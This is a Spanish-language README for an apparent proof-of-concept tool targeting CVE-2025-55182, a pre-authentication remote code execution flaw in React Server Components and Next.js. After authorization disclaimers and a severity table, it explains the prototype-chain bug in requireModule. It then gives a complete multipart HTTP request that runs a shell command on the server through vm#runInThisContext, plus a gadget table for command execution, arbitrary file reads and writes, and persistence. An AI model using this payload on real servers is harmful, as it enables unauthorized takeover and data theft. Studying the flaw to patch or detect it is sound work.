
Herramienta Unificada de Investigación de Seguridad
Investigación de Seguridad por schema.cx
"El control es una ilusión. Son los sistemas que construimos los que nos controlan—a menos que los entendamos primero."
ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
ALTO. LEE ESTO ANTES DE CONTINUAR.
Este repositorio contiene código de prueba de concepto para una vulnerabilidad de seguridad crítica. Al acceder, descargar o utilizar cualquier material de este repositorio, usted reconoce y acepta lo siguiente:
Autorización por Escrito Requerida: Debe tener permiso explícito y por escrito del propietario del sistema antes de realizar cualquier prueba de seguridad. Los acuerdos verbales son insuficientes.
Limitaciones de Alcance: Las pruebas deben limitarse a los sistemas explícitamente enumerados en su autorización. No se permite la "expansión del alcance".
Leyes Aplicables: El acceso no autorizado a sistemas informáticos viola:
LOS AUTORES Y COLABORADORES DE ESTE REPOSITORIO:
"La pregunta no es si podemos explotar la vulnerabilidad. Es si deberíamos hacerlo, y con qué propósito."
CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código (RCE) pre-autenticación que afecta a React Server Components en aplicaciones React 19.x y Next.js 15.x-16.x.
Esta vulnerabilidad permite a cualquier atacante no autenticado con acceso de red a una aplicación vulnerable ejecutar comandos arbitrarios en el servidor. El ataque no requiere credenciales, ni interacción del usuario, y puede automatizarse por completo. La explotación exitosa conduce a:
| Métrica | Clasificación |
|---|---|
| Puntuación Base CVSS v3.1 | 10.0 CRÍTICO |
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Impacto (C/I/A) | Alto / Alto / Alto |
"Las personas confían en los sistemas porque no los entienden. Esa confianza es una vulnerabilidad."
La vulnerabilidad existe en la implementación del protocolo Flight de React dentro de la función requireModule. Esta función utiliza notación de corchetes para acceder a las exportaciones del módulo basándose en entradas controladas por el usuario, sin validar que la propiedad solicitada sea una propiedad propia del módulo.
Ubicación del Código Vulnerable:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)
Patrón Vulnerable:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← VULNERABLE: No hasOwnProperty check
}
El ataque aprovecha el recorrido de la cadena de prototipos de JavaScript:
$ACTION_0:0 contiene JSON con propiedades id (formato módulo#exportación) y bound (argumentos) controladas por el atacanteconstructor o acceder a propiedades del prototipo, los atacantes pueden referenciar módulos integrados de Node.jsvm.runInThisContext, child_process.execSync o fs.readFileSync se ejecutan con argumentos proporcionados por el atacanteHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Gadget | Módulo | Descripción | Impacto |
|---|---|---|---|
vm#runInThisContext | vm | Ejecutar JS en el contexto actual | RCE Directo |
vm#runInNewContext | vm | Ejecutar JS en sandbox (escapable) | RCE Directo |
child_process#execSync | child_process | Ejecutar comandos de shell | RCE Directo |
child_process#spawnSync | child_process | Generar procesos | RCE Directo |
fs#readFileSync | fs | Leer archivos arbitrarios | Exfiltración de Datos |
fs#writeFileSync | fs | Escribir archivos arbitrarios | Persistencia/Puerta Trasera |
module#_load | module | Cargar módulos JS (RCE en 2 pasos) | RCE Indirecto |